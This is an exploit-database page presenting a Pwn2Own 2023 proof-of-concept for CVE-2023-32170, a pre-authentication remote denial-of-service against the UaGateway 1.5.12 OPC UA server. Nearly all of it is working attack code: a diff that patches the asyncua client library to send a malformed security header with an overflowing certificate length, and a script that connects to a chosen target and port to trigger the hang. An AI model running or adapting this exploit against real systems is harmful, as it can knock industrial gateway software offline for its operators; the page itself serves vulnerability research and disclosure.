Exploit database

GH-dfaaec6f0838492b5339306839ca4df0

0vercl0k/pwn2own2023-miami

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-32170

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
0vercl0k/pwn2own2023-miamiRevision bca11373fafb

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2023-32170/CVE-2023-32170-preauth-infloop.py

Suggested starting filePython · 2,579 bytes
# Axel '0vercl0k' Souchet - January 2023
import argparse
import asyncio
# pip3 install asyncua
from asyncua import Client

'''
Apply the following diff (connection.diff) to <install_path>\asyncua\common\connection.py (you can also replace connection.py by the one I have provided in the archive):
    diff --git a/C:/Users/over/anaconda3/Lib/site-packages/asyncua/common/connection.py b/connection.py
    index 1dd3ed0..262f1f7 100644
    --- a/C:/Users/over/anaconda3/Lib/site-packages/asyncua/common/connection.py
    +++ b/connection.py
    @@ -76,7 +76,7 @@ class TransportLimits:
            self.max_message_size = msg.MaxMessageSize
            logger.warning("updating client limits to: %s", self)

    -
    +import struct
    class MessageChunk:
        """
        Message Chunk, as described in OPC UA specs Part 6, 6.7.2.
    @@ -90,6 +90,12 @@ class MessageChunk:
                self.SecurityHeader = ua.AsymmetricAlgorithmHeader()
            else:
                raise ua.UaError(f"Unsupported message type: {msg_type}")
    +
    +        overflow = 0x1_0000_0000 - (4 + 2)
    +        overflow &= 0xffff_ffff
    +        self.SecurityHeader.SecurityPolicyURI = b'doar-e.github.io'
    +        self.SecurityHeader.SenderCertificate = b'\xaa\x84' + struct.pack('>I', overflow) + b'\xbb'
    +        self.SecurityHeader.ReceiverCertificateThumbPrint = b'doar-e.github.io'
            self.SequenceHeader = ua.SequenceHeader()
            self.Body = body
            self.security_policy = security_policy
    @@ -170,6 +176,7 @@ class MessageChunk:
                if security_policy.peer_certificate:
                    chunk.SecurityHeader.ReceiverCertificateThumbPrint =\
                        hashlib.sha1(security_policy.peer_certificate).digest()
    +            chunk.SecurityHeader.SecurityPolicyURI = 'doar-e.github.io'
                chunk.MessageHeader.ChannelId = channel_id
                chunk.SequenceHeader.RequestId = request_id
                return [chunk]
'''
async def trigger(target, port):
    client = Client(url = f'opc.tcp://{target}:{port}')
    await client.connect()

def main():
    parser = argparse.ArgumentParser("UaGateway 1.5.12 pre-auth Remote DoS by Axel '0vercl0k' Souchet of https://doar-e.github.io/")
    parser.add_argument('--port', type = int, default = 48050)
    parser.add_argument('--target', type = str, required = True)
    args = parser.parse_args()
    print('Launching against', args.target)
    asyncio.run(trigger(args.target, args.port))
    print('Done')

if __name__ == '__main__':
    main()